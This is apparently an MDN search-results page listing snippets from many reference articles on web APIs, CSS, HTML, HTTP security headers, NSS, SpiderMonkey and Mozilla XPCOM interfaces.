... syntax htmlimageelement.srcset = imagecandidatestrings; let srcset = htmlimageelement.srcset; value a usvstring containing a comma-separated list of one or more image candidate strings to be used when determining which image resource to present inside the <img> element represented by the htmlimageelement.
...And 16 more matches
Browser storage limits and eviction criteria - Web APIs
there are a number of web technologies that store data of one kind or another on the client-side (i.e., on your local disk).
... the process by which the browser works out how much space to allocate to web data storage and what to delete when that limit is reached is not simple, and differs between browsers.
...opera and chrome should behave the same in all cases.
...And 16 more matches
KeyboardEvent: code values - Web APIs
the following tables show what code values are used for each native scancode or virtual keycode on major platforms.
... the reason is that some browsers choose to interpret physical keys differently, there are some differences in which keys map to which codes.
... code values code values on windows this table shows the windows scan codes representing keys and the keyboardevent.code values which correspond to those hardware keys.
...And 16 more matches
PerformanceTiming - Web APIs
the performancetiming interface is a legacy interface kept for backwards compatibility and contains properties that offer performance timing information for various events which occur during the loading and use of the current page.
... these properties each describe the time at which a particular point in the page loading process was reached.
... some correspond to dom events; others describe the time at which internal browser operations of interest took place.
...And 16 more matches
ServiceWorkerGlobalScope - Web APIs
developers should keep in mind that the serviceworker state is not persisted across the termination/restart cycle, so each event handler should assume it's being invoked with a bare, default global state.
...an active service worker is automatically restarted to respond to events, such as serviceworkerglobalscope.onfetch or serviceworkerglobalscope.onmessage.
... additionally, synchronous requests are not allowed from within a service worker — only asynchronous requests, like those initiated via the fetch() method, can be used.
...And 16 more matches
URLUtilsReadOnly - Web APIs
these were then inherited by other interfaces, such as workerlocation.
... urlutilsreadonly.protocol read only is a domstring containing the protocol scheme of the url, including the final ':'.
... urlutilsreadonly.search read only is a domstring containing a '?' followed by the parameters of the url.
...And 16 more matches
Web Audio API best practices - Web APIs
loading sounds/files there are four main ways to load sound with the web audio api and it can be a little confusing as to which one you should use.
...an <audio> or <video> element), or you're looking to fetch the file and decode it into a buffer.
...you have to request the file and wait for it to load (this section of our advanced article shows a good way to do it), but then you have access to the data directly, which means more precision, and more precise manipulation.
...And 16 more matches
Window: popstate event - Web APIs
the popstate event of the window interface is fired when the active history entry changes while the user navigates the session history.
... it changes the current history entry to that of the last page the user visited or, if history.pushstate() has been used to add a history entry to the history stack, that history entry is used instead.
... these methods and their corresponding events can be used to add data to the history stack which can be used to reconstruct a dynamically generated page, or to otherwise alter the state of the content being presented while remaining on the same document.
...And 16 more matches
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
the settimeout() method of the windoworworkerglobalscope mixin (and successor to window.settimeout()) sets a timer which executes a function or specified piece of code once the timer expires.
... code an alternative syntax that allows you to include a string instead of a function, which is compiled and executed when the timer expires.
... arg1, ..., argn optional additional arguments which are passed through to the function specified by function.
...And 16 more matches
ARIA annotations - Accessibility
wai-aria version 1.3 sees the addition of a set of new features, collectively known as aria annotations, which allow the creation of accessible annotations inside web documents.
... role="suggestion" — semantically denotes a single proposed change to an editable document.
... aria annotation roles and objects are currently exposed in: firefox from version 75 onwards, on windows and linux (on macos, we are first waiting for apple to define what safari will expose as apple-dialect attributes to voiceover, and will then follow suit.) chrome from version 81 onwards, currently behind the #enable-accessibility-expose-aria-annotations flag (go to chrome://flags to enable this.) unfortunately, you won’t be able to use any of these yet, as screenreader support is currently not there.
...And 16 more matches
CSS selectors - CSS: Cascading Style Sheets
css selectors define the elements to which a set of css rules apply.
... note: there are no selectors or combinators to select parent items, siblings of parents, or children of parent siblings.
... syntax: * ns|* *|* example: * will match all the elements of the document.
...And 16 more matches
<script>: The Script element - HTML: Hypertext Markup Language
WebHTMLElementscript
the <script> element can also be used with other languages, such as webgl's glsl shader programming language and json.
... permitted content dynamic script such as text/javascript.
... asynchtml5 for classic scripts, if the async attribute is present, then the classic script will be fetched in parallel to parsing and evaluated as soon as it is available.
...And 16 more matches
Compression in HTTP - HTTP
in practice, web developers don't need to implement compression mechanisms, both browsers and servers have it implemented already, but they have to be sure that the server is configured adequately.
... file format compression each data type has some redundancy, that is wasted space, in it.
... if text can typically have as much as 60% redundancy, this rate can be much higher for some other media like audio and video.
...And 16 more matches
Introduction - JavaScript
« previousnext » this chapter introduces javascript and discusses some of its fundamental concepts.
... there are also more advanced server side versions of javascript such as node.js, which allow you to add more functionality to a website than simply downloading files (such as realtime collaboration between multiple computers).
... javascript contains a standard library of objects, such as array, date, and math, and a core set of language elements such as operators, control structures, and statements.
...And 16 more matches
Deprecated and obsolete features - JavaScript
this does not affect their use in replacement strings: property description $1-$9 parenthesized substring matches, if any.
... $& see lastmatch.
... input the string against which a regular expression is matched.
...And 16 more matches
MathML attribute reference - MathML
more details for each attribute are available on particular element pages.
... unimplemented charalign <mstack> specifies the horizontal alignment of digits.
... unimplemented decimalpoint <mstyle> if the decimalpoint value is used to specify the alignment, this attribute is specifying the character for the alignment point within <mstack> and <mtable> columns.
...And 16 more matches
Critical rendering path - Web Performance
the html may request javascript, which may, in turn, alter the dom.
... the html includes or makes requests for styles, which in turn builds the css object model.
...some requests are blocking, which means the parsing of the rest of the html is halted until the imported asset is handled.
...And 16 more matches
Progressive loading - Progressive web apps (PWAs)
first meaningful paint it's important to deliver something meaningful to the user as soon as possible — the longer they wait for the page to load, the bigger the chance they will leave before waiting for everything to finish.
... this could be achieved by progressive loading — also known as lazy loading.
... bundling versus splitting many visitors won't go through every single page of a website, yet the usual approach is to bundle every feature we have into one big file.
...And 16 more matches
alignment-baseline - SVG: Scalable Vector Graphics
this property specifies which baseline of this element is to be aligned with the corresponding baseline of the parent.
... for example, this allows alphabetic baselines in roman text to stay aligned across font size changes.
...ing four elements: <tspan>, <tref>, <altglyph>, and <textpath> usage notes value auto | baseline | before-edge | text-before-edge | middle | central | after-edge | text-after-edge | ideographic | alphabetic | hanging | mathematical | top | center | bottom default value auto animatable yes auto the value is the dominant-baseline of the script to which the character belongs - i.e., use the dominant-baseline of the parent.
...And 16 more matches
Tiles and tilemaps overview - Game development
tilemaps are a very popular technique in 2d game development, consisting of building the game world or level map out of small, regular-shaped images called tiles.
...this set of articles covers the basics of creating tile maps using javascript and canvas (although the same high level techniques could be used in any programming language.) besides the performance gains, tilemaps can also be mapped to a logical grid, which can be used in other ways inside the game logic (for example creating a path-finding graph, or handling collisions) or to create a level editor.
... some popular games that use this technique are super mario bros, pacman, zelda: link's awakening, starcraft, and sim city 2000.
...And 15 more matches
Visual typescript game engine - Game development
luanch debugger configuration comes with this project.
... multiplatform video chat (for all browsers) implemented.
...multirtc2 used for data transfer also for video chat.
...And 15 more matches
Sizing items in CSS - Learn web development
this size is described as the intrinsic size — which comes from the image itself.
... if you place an image on a page and do not change its height and width, either using attributes on the <img> tag or css, it will be displayed using that intrinsic size.
...in our example below, that border stretches to the width of the container, because it is a block level element, a behavior that should be starting to become familiar to you.
...And 15 more matches
How does the Internet work? - Learn web development
prerequisites: none, but we encourage you to read the article on setting project goals first objective: you will learn the basics of the technical infrastructure of the web and the difference between internet and the web.
... summary the internet is the backbone of the web, the technical infrastructure that makes the web possible.
... at its most basic, the internet is a large network of computers which communicate all together.
...And 15 more matches
HTML forms in legacy browsers - Learn web development
in the mobile world, when neither the browser nor the os can be updated such as on older android phones or iphones, the stock browsers that don't update are also legacy browsers.
...just check the support of the elements (or dom interface) you want to use.
... chrome platform status site is also important.
...And 15 more matches
Adding vector graphics to the Web - Learn web development
note: this article doesn't intend to teach you svg; just what it is, and how to add it to web pages.
... on the web, you'll work with two types of image — raster images, and vector images: raster images are defined using a grid of pixels — a raster image file contains information showing exactly where each pixel is to be placed, and exactly what color it should be.
... the difference becomes apparent when you zoom in the page — the png image becomes pixellated as you zoom in because it contains information on where each pixel should be (and what color).
...And 15 more matches
Accessibility and Mozilla
accessibility is the idea that software (among other things) should be designed to be usable and, as much as possible, convenient to use for people with disabilities.
... mozilla strives to make its software accessible; the documents below cover the ways in which we do so.
...all accessibility apis to date define a list of possible object roles, or general types, such as button, menu item, text, etc.
...And 15 more matches
Communicating with frame scripts
chrome code and frame scripts communicate back and forth using a messaging api which can include json-serializable objects as arguments.
... the api is mostly symmetrical, with one major exception: frame scripts can send asynchronous or synchronous messages to chrome, but chrome can only send asynchronous messages to content.
... this is an intentional design decision made to prevent content code from making chrome code unresponsive.
...And 15 more matches
Download
method overview promise start(); promise launch(); promise showcontainingdirectory(); promise cancel(); promise removepartialdata(); promise whensucceeded(); promise finalize([optional] boolean aremovepartialdata); properties attribute type description canceled read only boolean indicates that the download has been canceled.
... this property may be populated or changed while the download is in progress, using the mime type provided by the server.
... launchwhensucceeded boolean if this property is true when the download finishes successfully, the target file will be opened or executed automatically.
...And 15 more matches
NSS Sample Code Sample1
// // the management scheme assumes that one host is primary.
... this key // may be used for an encryption mechanism (des or aes) or for // integrity (md5_hmac or sha1_hmac).
...the primary host unwraps the key using the rsa key each time // access to the key is required, such as at server startup.
...And 15 more matches
Utilities for nss samples
*/ typedef struct { enum { pw_none = 0, /* no password */ pw_fromfile = 1, /* password stored in a file */ pw_plaintext = 2 /* plain-text password passed in buffer */ /* pw_external = 3 */ } source; char *data; /* depending on source this can be the actual * password or the file to read it from */ } secupwdata; /* * printasascii */ extern void printasascii(prfiledesc* out, const unsigned char *data, unsigned int len); /* * printashex */ extern void printashex(prfiledesc* out, const unsigned char *data, unsigned int len); /* * getdigit */ extern int getdigit(char c); /* ...
...* hextobuf */ extern int hextobuf(unsigned char *instring, secitem *outbuf, prbool ishexdata); /* * filetoitem */ extern secstatus filetoitem(secitem *dst, prfiledesc *src); /* * checkpassword */ extern prbool checkpassword(char *cp); /* * getpassword */ extern char * getpassword(file *input, file *output, char *prompt, prbool (*ok)(char *)); /* * filepasswd extracts the password from a text file * * storing passwords is often used with server environments * where prompting the user for a password or requiring it * to be entered in the commnd line is not a feasible option.
... * * this function supports password extraction from files with * multipe passwords, one for each token.
...And 15 more matches
NSS PKCS11 Functions
pkcs #11 functions this chapter describes the core pkcs #11 functions that an application needs for communicating with cryptographic modules.
...this was converted from "chapter 7: pkcs #11 functions".
...syntax #include "secmod.h" extern secmodmodule *secmod_loadusermodule(char *modulespec, secmodmodule *parent, prbool recurse); parameters this function has the following parameters: modulespec is a pkcs #11 modulespec.
...And 15 more matches
SpiderMonkey 1.8
you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/js-1.8.0-rc1.tar.gz (md5 checksum: eaad8815dcc66a717ddb87e9724d964e).
...it is much faster than spidermonkey 1.7 and contains a few new language features and api features, described in detail below.
... please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup.
...And 15 more matches
Mozilla Projects
compare-locales compare-locales is a python script that helps localizers to check their work without running firefox or another application.
...generated from c/c++ using clang, or from another language) and compiles that into javascript, which can be run on the web.
... firefox sync firefox sync synchronizes state and configuration data used by the browser, such as bookmarks, history, preferences, bookmarks, and so forth among all your devices.
...And 15 more matches
nsIAccessible
the accessible tree is a subset of nodes in the dom tree -- such as documents, focusable elements and text.
... last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) overview this section provides short overview of methods and attributes of this interface.
... nsiaccessible.parent to get the parent accessible nsiaccessible.nextsibling, nsiaccessible.previoussibling to get sibling accessibles nsiaccessible.firstchild, nsiaccessible.lastchild to get first and last child nsiaccessible.children, nsiaccessible.getchildat(), nsiaccessible.childcount to navigate through the children by index accessible position you can use nsiaccessible.indexinparent to get accessible index in its parent.
...And 15 more matches
nsIScriptError
66 introduced gecko 1.0 inherits from: nsiconsolemessage last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/scripterror;1.
...this is used to draw the arrow pointing to the problem character.
... innerwindowid unsigned long long the inner window id with which the error is associated.
...And 15 more matches
nsISelectionController
inherits from: nsiselectiondisplay last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void characterextendforbackspace(); native code only!
... void characterextendfordelete(); native code only!
... void charactermove(in boolean forward, in boolean extend); boolean checkvisibility(in nsidomnode node, in short startoffset, in short endoffset); void completemove(in boolean forward, in boolean extend); void completescroll(in boolean forward); boolean getcaretenabled(); short getdisplayselection(); nsiselection getselection(in short type); void intralinemove(in boolean forward, in boolean extend); void linemove(in boolean forward, in boolean extend); void pagemove(in boolean forward, in boolean extend); void repaintselection(in short type); void scrollhorizontal(in boolean left); void...
...And 15 more matches
nsIXULWindow
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) an nsixulwindow is created as part of the creation of a top-level chrome window.
... method overview void addchildwindow(in nsixulwindow achild); void applychromeflags(); native code only!
... void assumechromeflagsarefrozen(); void center(in nsixulwindow arelative, in boolean ascreen, in boolean aalert); nsixulwindow createnewwindow(in print32 achromeflags, in nsiappshell aappshell); nsidocshelltreeitem getcontentshellbyid(in wstring id); void removechildwindow(in nsixulwindow achild); void showmodal(); attributes attribute type description chromeflags pruint32 chromeflags are from nsiwebbrowserchrome.
...And 15 more matches
Reference Manual
such a cast can easily by-pass nscomptrs machinery, causing leaks, type mismatches, and other calamities.
... // old-style c/c++ casts by-pass |nscomptr|s machinery and cause leaks...
...implementation details and debugging machinery although it is a class, nscomptr has no virtual methods, and therefore, no vtable or vptr.
...And 15 more matches
Demo Addon
much of it may no longer be relevant.
...it shows how to achieve various goals in a working live example, such as working with gloda.
... how to use after installing the demo add-on in thunderbird, right click on the toolbar and choose "customize".
...And 15 more matches
Using the Multiple Accounts API
by alec flett alecf@flett.org structure servers identities storage creating new accounts smtp servers appendix a: listing of all preferences and properties structure the account system consists of: the account manager (nsimsgaccountmanager): there is a single account manager in the the client, which maintains the list of accounts, servers, etc.
... incoming servers (nsimsgincomingserver): an incoming server represents a remote message store such as a pop, imap, or nntp server.
... it holds all the information necessary to retrieve mail from the remote server, such as hostname, user login name, and biff settings.
...And 15 more matches
Debugger.Source - Firefox Developer Tools
each debugger instance has a separate collection of debugger.source instances representing the source code that has been presented to the system.
...each debugger.script instance refers to the debugger.source instance holding the source code from which it was produced.
...each script indicates the substring of the overall source to which it corresponds.
...And 15 more matches
Tutorial: Set a breakpoint - Firefox Developer Tools
this page shows how you can try out the debugger api yourself using firefox’s scratchpad.
...to do this, open the firefox developer tools, click on the options gear at the upper right of the toolbox, and make sure that both “enable browser chrome and add-on debugging toolboxes” and “enable remote debugging” are checked.
...once they’re checked, you can close the developer tools.
...And 15 more matches
Manipulating video using canvas - Web APIs
this tutorial demonstrates how to perform chroma-keying (also known as the "green screen effect") using javascript code.
... canvas c1 is used to display the current frame of the original video, while c2 is used to display the video after performing the chroma-keying effect; c2 is preloaded with the still image that will be used to replace the green background in the video.
... initializing the chroma-key player the doload() method is called when the xhtml document initially loads.
...And 15 more matches
PannerNode - Web APIs
a pannernode always has exactly one input and one output: the input can be mono or stereo but the output is always stereo (2 channels); you can't have panning effects without at least two audio channels!
... number of inputs 1 number of outputs 1 channel count mode "clamped-max" channel count 2 channel interpretation "speakers" constructor pannernode.pannernode creates a new pannernode object instance.
...this is why these values are not marked read only, which is how they appear in the webidl.
...And 15 more matches
Pointer Lock API - Web APIs
more than that, the api is useful for any applications that require significant mouse input to control movements, rotate objects, and change entries, for example allowing users to control the viewing angle simply by moving the mouse around without any button clicking.
...without pointer lock, the rotation or manipulation stops the moment the pointer reaches the edge of the browser or screen.
... method/properties overview this section provides a brief description of each property and method related to the pointer lock specification.
...And 15 more matches
RTCPeerConnection.addTrack() - Web APIs
the rtcpeerconnection method addtrack() adds a new media track to the set of tracks which will be transmitted to the other peer.
...optional one or more local mediastream objects to which the track should be added.
...instead, the streams are simply a way to group tracks together on the receiving end of the connection, making sure they are synchronized.
...And 15 more matches
WorkerGlobalScope - Web APIs
each workerglobalscope has its own event loop.
... this interface is usually specialized by each worker type: dedicatedworkerglobalscope for dedicated workers, sharedworkerglobalscope for shared workers, and serviceworkerglobalscope for serviceworker.
... the self property returns the specialized scope for each context.
...And 15 more matches
XRReferenceSpace - Web APIs
it expands upon the base class, xrspace, by adding support for several different tracking behaviors as well as to request a new reference space which describes the offset transform between the tracked object and another location in the world.
...these are special spaces which let you establish a perimeter within which it's "safe" for the viewer to move.
... for xr systems that allow the user to physically move around, such as those that track movement with a real-world camera, this boundary establishes the edges of the area the user is able to move around in, whether due to physical obstacles or due to limitations of the xr hardware.
...And 15 more matches
CSS Box Alignment - CSS: Cascading Style Sheets
note: the documentation for each layout method will detail how box alignment is applied there.
...there are also some key concepts which are common to all layout methods.
...this ensures that alignment works in the same way whichever writing mode the document has.
...And 15 more matches
Syntax - CSS: Cascading Style Sheets
WebCSSSyntax
the css syntax reflects this goal and its basic building blocks are: the property which is an identifier, that is a human-readable name, that defines which feature is considered.
... the value which describe how the feature must be handled by the engine.
... each property has a set of valid values, defined by a formal grammar, as well as a semantic meaning, implemented by the browser engine.
...And 15 more matches
font-size - CSS: Cascading Style Sheets
WebCSSfont-size
changing the font size also updates the sizes of the font size-relative <length> units, such as em, ex, and so forth.
...: inherit; font-size: initial; font-size: unset; the font-size property is specified in one of the following ways: as one of the absolute-size or relative-size keywords as a <length> or a <percentage>, relative to the parent element's font size values xx-small, x-small, small, medium, large, x-large, xx-large, xxx-large absolute-size keywords, based on the user's default font size (which is medium).
...for most font-relative units (such as em and ex), the font size is relative to the parent element's font size.
...And 15 more matches
<length> - CSS: Cascading Style Sheets
WebCSSlength
lengths can be used in numerous css properties, such as width, height, margin, padding, border-width, font-size, and text-shadow.
...depending on the unit, this can be the size of a specific character, the line height, or the size of the viewport.
... font-relative lengths font-relative lengths define the <length> value in terms of the size of a particular character or font attribute in the font currently in effect in an element or its parent.
...And 15 more matches
<col> - HTML: Hypertext Markup Language
WebHTMLElementcol
align this enumerated attribute specifies how horizontal alignment of each column cell content will be handled.
... note: to achieve the same effect as the left, center, right or justify values: do not try to set the text-align property on a selector giving a <col> element.
... if the table doesn't use a colspan attribute, use the td:nth-child(an+b) css selector.
...And 15 more matches
<input type="image"> - HTML: Hypertext Markup Language
WebHTMLElementinputimage
additional attributes in addition to the attributes shared by all <input> elements, image button inputs support the following attributes: attribute description alt alternate string to display when the image can't be shown formaction the url to which to submit the data formenctype the encoding method to use when submitting the form data formmethod the http method to use when submitting the form formnovalidate a boolean which, if present, indicates that the form shouldn't be validated before submission formtarget a string indicating a browsing context from where to load the results of submitting ...
...the form height the height, in css pixels, at which to draw the image src the url from which to load the image width the width, in css pixels, at which to draw the image alt the alt attribute provides an alternate string to use as the button's label if the image cannot be shown (due to error, a user agent that cannot or is configured not to show images, or if the user is using a screen reading device).
... important: while the alt attribute is technically optional, you should always include one to maximize the usability of your content.
...And 15 more matches
<keygen> - HTML: Hypertext Markup Language
WebHTMLElementkeygen
this mechanism is designed for use with web-based certificate management systems.
...only one form element in a document can have the autofocus attribute, which is a boolean.
... challenge a challenge string that is submitted along with the public key.
...And 15 more matches
Microdata - HTML: Hypertext Markup Language
search engines and web crawlers can extract and process microdata from a web page and use it to provide a richer browsing experience for users.
... search engines benefit greatly from direct access to this structured data because it allows search engines to understand the information on web pages and provide more relevant results to users.
...microdata is an attempt to provide a simpler way of annotating html elements with machine-readable tags than the similar approaches of using rdfa and classic microformats.
...And 15 more matches
Microformats - HTML: Hypertext Markup Language
summary microformats (sometimes abbreviated μf) are standards used to embed semantics & structured data in html, and provide an api to be used by search engines, aggregators, and other tools.
... these minimal patterns of html are used for marking up entities that range from fundamental to domain-specific information, such as people, organizations, events, and locations.
...microformats2 is an update to microformats that provides a simpler way of annotating html structured syntax & vocabularies than previous approaches of using rdfa and microdata which require learning new attributes.
...And 15 more matches
CSP: form-action - HTTP
the http content-security-policy (csp) form-action directive restricts the urls which can be used as the target of a form submissions from a given context.
...firefox 57 doesn't block the redirects whereas chrome 63 does).
... syntax one or more sources can be set for the form-action policy: content-security-policy: form-action <source>; content-security-policy: form-action <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
...And 15 more matches
CSP: object-src - HTTP
elements controlled by object-src are perhaps coincidentally considered legacy html elements and aren't receiving new standardized features (such as the security attributes sandbox or allow for <iframe>).
... therefore it is recommended to restrict this fetch-directive (e.g.
... csp version 1 directive type fetch directive default-src fallback yes.
...And 15 more matches
Object - JavaScript
however, an object may be deliberately created for which this is not true (e.g.
... changes to the object prototype object are seen by all objects through prototype chaining, unless the properties and methods subject to those changes are overridden further along the prototype chain.
... this provides a very powerful although potentially dangerous mechanism to override or extend object behavior.
...And 15 more matches
How to make PWAs installable - Progressive web apps (PWAs)
the installed web app can then be launched by users just as if it were any native app.
... this article explains how to achieve this using the web app's manifest.
... these technologies allow the app to be launched directly from the device's home screen, rather than the user having to open the browser and then navigate to the site by using a bookmark or typing the url.
...And 15 more matches
Graphic design for responsive sites - Progressive web apps (PWAs)
but today it is very much a reality.
... this article provides a high level discussion aimed at helping you to choose the best option for your graphical needs.
...this is why we have included an entire docs section covering each of these topics (the one you are currently in, and app layout.) in addition, these days there are so many more technologies to choose from than your humble bmps, jpgs, gifs and pngs.
...And 15 more matches
d - SVG: Scalable Vector Graphics
WebSVGAttributed
a path definition is a list of path commands where each command is composed of a command letter and numbers that represent the command parameters.
...each command is composed of a command letter and numbers that represent the command parameters.
... formula: po′ = pn = {x, y} l (dx, dy)+ draw a line from the current point to the end point, which is the current point shifted by dx along the x-axis and dy along the y-axis.
...And 15 more matches
Namespaces crash course - SVG: Scalable Vector Graphics
versions of svg viewers prior to the release of firefox 1.5 unfortunately paid scant attention to namespaces, but they are essential to multi-xml dialect supporting user agents such as gecko-based browsers which must be very strict.
... take some time to understand namespaces now and it will save you all sorts of headaches in the future.
... naturally, each xml dialect defines the meaning of the markup element names described in its specification.
...And 15 more matches
Same-origin policy - Web security
the same-origin policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin.
...you may see this referenced as the "scheme/host/port tuple", or just "tuple".
... for example, about:blank is often used as a url of new, empty popup windows into which the parent script writes content (e.g.
...And 15 more matches
Using templates and slots - Web Components
this was possible before, but it is made a lot easier by the html <template> element (which is well-supported in modern browsers).
... let's look at a trivial quick example: <template id="my-paragraph"> <p>my paragraph</p> </template> this won't appear in your page until you grab a reference to it with javascript and then append it to the dom, using something like the following: let template = document.getelementbyid('my-paragraph'); let templatecontent = template.content; document.body.appendchild(templatecontent); although trivial, you can already start to see how this could be useful.
...we'll call it <my-paragraph>: customelements.define('my-paragraph', class extends htmlelement { constructor() { super(); let template = document.getelementbyid('my-paragraph'); let templatecontent = template.content; const shadowroot = this.attachshadow({mode: 'open'}) .appendchild(templatecontent.clonenode(true)); } } ); the key point to note here is that we append a clone of the template content to the shadow root, created using the node.clonenode() method.
...And 15 more matches
Introduction to game development for the Web - Game development
with modern web technologies and a recent browser, it's entirely possible to make stunning, top-notch games for the web.
...thanks to massive performance improvements in javascript just-in-time compiler technology and new apis, you can build games that run in the browser (or on html5-powered devices) without making compromises.
...as we like to say, "the web is the platform." let's take a look at the core of the web platform: function technology audio web audio api graphics webgl (opengl es 2.0) input touch events, gamepad api, device sensors, webrtc, full screen api, pointer lock api language javascript (or c/c++ using emscripten to compile to javascript) networking webrtc and/or websockets storage indexeddb or the "cloud" web html, css, svg (and much more!) the business case as a game developer, whether you're an individual or a large game studio, you want to know why it makes sense to target the web with your...
...And 14 more matches
Game promotion - Game development
you'll be rich and famous, or so they say.
... while you can create your website from scratch, there are also tools that can help make the process easier.
... game portals using game portals is mostly concerned with monetization, but if you're not planning to sell licenses to allow people to purchase your game and are intending to implement adverts or in-app purchases instead, promoting your game across free portals can be effective.
...And 14 more matches
Common questions - Learn web development
this section of the learning area is designed to provide answers to common questions that may come up, which are not necessarily part of the structured core learning pathways (e.g.
... how the web works this section covers web mechanics —questions relating to general knowledge of the web ecosystem and how it works.
... the internet is the backbone of the web, the technical infrastructure that makes the web possible.
...And 14 more matches
CSS basics - Learn web development
otherwise, the styling won't change the appearance of the html.
...to style a different element, change the selector.
...it specifies which of the element's properties you want to style.
...And 14 more matches
Publishing your website - Learn web development
instead, it explains the advantages and disadvantages of three approaches that are practical for beginners.
... getting hosting and a domain name to have more control over content and website appearance, most people choose to buy web hosting and a domain name: web hosting is rented file space on a hosting company's web server.
... a domain name is the unique address where people find your website, such as http://www.mozilla.org or http://www.bbc.co.uk.
...And 14 more matches
Properly configuring server MIME types - Learn web development
this is a major source of problems for users of gecko-based browsers, which respect the mime types as reported by web servers and web applications.
...examples of mime types are: text/html for normal web pages text/plain for plain text text/css for cascading style sheets text/javascript for scripts application/octet-stream meaning "download this file" application/x-java-applet for java applets application/pdf for pdf documents technical background registered values for mime types are available in iana | mime media types.
... the http specification defines a superset of mime which is used to describe the media types used on the web.
...And 14 more matches
Embedding API for Accessibility
in part, being accessible means supporting a built-in accessibility apis for a platform, such as microsoft active accessibility or atk for linux and unix desktops.
... there are many other pieces, such as preferences to allow the user to change foreground and background colors, and font sizes.
...for the most part, an automatic reframe is performed when one of these prefs is changed.
...And 14 more matches
What to do and what not to do in Bugzilla
it also governs which bug entry form you are presented with first (either the guided or advanced forms).
... resolving bugs as duplicate in general newer bugs should be marked as duplicates of older bugs, except when the newer bug contains more information (bug description clearer, patch already attached, lots of people already cc'ed, etc.).
...the exceptions are bugs in other software which we have to work around and bugs that involve certain core gecko modules.
...And 14 more matches
Creating Custom Events That Can Pass Data
using this technique you can add extra parameters and query them.
...note that starting with version 6, firefox supports dom level 3 customevent, which lets you dispatch custom events with arbitrary data from javascript.
...the trunk you needed to download (or check out) the trunk source because you will have to modify it in order to implement your event.
...And 14 more matches
Dict.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/dict.jsm"); creating a dictionary you can create a new, empty dictionary by simply calling the dict() constructor: var newdict = new dict(); if you wish, you may also pass in an object literal of key/value pairs with which to initialize the dictionary: var someobj = {}; var newdict = new dict({key1: "foo", key2: someobj}); note that values may be any javascript object type.
... items iterator returns an iterator over all of the items in the dictionary; each item is returned as a pair (a two-element array) with the first element being the key and the second being the value.
... note: the order in which items are returned is arbitrary, and may change without notice.
...And 14 more matches
PerfMeasurement.jsm
note: the perfmeasurement.jsm javascript code module can only be used from chrome -- that is, from within the application itself or an add-on.
...note: at present, perfmeasurement.jsm is only functional on linux, but it is planned to add support for windows (bug 583322) and osx (bug 583323) as well, and we welcome patches for other operating systems.
... cache_references uint64 the number of memory accesses that occurred.
...And 14 more matches
What every Mozilla translator should know
l10n stands for localization = l + another 10 letters + n mailing lists and other resources there are several mailing lists to keep the track of what's going on, which are available as newsgroups, as well, both on news.mozilla.org and google groups: the main l10n list also available as mozilla.dev.l10n, .l10n in short.
...the mozilla project discusses general planning and schedule questions here.
... to keep the track of what's going on, it's also a good idea to read the planet mozilla l10n when you have a problem use the above mailing lists the person in charge of the mozilla l10n is axel hecht (l10n at mozilla.com), pike on irc another interesting way of getting help is the irc channel #l10n at irc.mozilla.org useful tools the l10n dashboard pontoon narro translate toolkit koala 0.1 mozillatranslator mercurial the hg is organized into several repositories, sometimes called branches.
...And 14 more matches
How to embed the JavaScript engine
the code differs for each spidermonkey version, please choose right version for your spidermonkey.
...*/ static jsclass global_class = { "global", jsclass_global_flags, js_propertystub, js_deletepropertystub, js_propertystub, js_strictpropertystub, js_enumeratestub, js_resolvestub, js_convertstub, }; int main(int argc, const char *argv[]) { jsruntime *rt = js_newruntime(8l * 1024 * 1024, js_use_helper_threads); if (!rt) return 1; jscontext *cx = js_newcontext(rt, 8192); if (!cx) return 1; { // scope for our various stack objects (jsautorequest, rootedobject), so they all go // out of scope before we js_destroycontext.
...ce, you would want to exit this any // time you're spinning the event loop js::rootedobject global(cx, js_newglobalobject(cx, &global_class, nullptr)); if (!global) return 1; js::rootedvalue rval(cx); { // scope for jsautocompartment jsautocompartment ac(cx, global); js_initstandardclasses(cx, global); const char *script = "'hello'+'world, it is '+new date()"; const char *filename = "noname"; int lineno = 1; bool ok = js_evaluatescript(cx, global, script, strlen(script), filename, lineno, rval.address()); if (!ok) return 1; } jsstring *str = rval.tostring(); printf("%s\n", js_encodestring(cx, str)); } js_destroycontext(cx); js_des...
...And 14 more matches
imgIContainer
66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) implemented by: ?????????????????????????????????????.
...as a service: var imgicontainer = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.imgicontainer); method overview void addrestoredata([array, size_is(acount), const] in char data, in unsigned long acount); native code only!
... obsolete since gecko 2.0 gfximagesurface copyframe(in pruint32 awhichframe, in pruint32 aflags); native code only!
...And 14 more matches
nsIAccessibleStates
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) prior to gecko 1.9, these constants were implemented in nsiaccessible.
... state_selected 0x00000002 the object is selected, that is it indicates this object is the child of an object that allows its children to be selected and that this child is one of those children that has been selected.
... state_checked 0x00000010 the object is checked.
...And 14 more matches
nsIAutoCompleteInput
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview acstring getsearchat(in unsigned long index); void onsearchbegin(); void onsearchcomplete(); boolean ontextentered(); boolean ontextreverted(); void selecttextrange(in long startindex, in long endindex); attributes attribute type description completedefaultindex boolean if a search result has its defaultindex set, this will optionally try to complete the text ...
...if false, the rollup event will be dispatched.
... minresultsforpopup unsigned long specifies a minimum number of search results that must be available before the autocomplete popup will open.
...And 14 more matches
nsIMsgMessageService
objects that implements nsimsgmessageservice give the user top level routines related to messages like copying, displaying, attachment's manipulation, printing, streaming the message content to eml format string, etc.
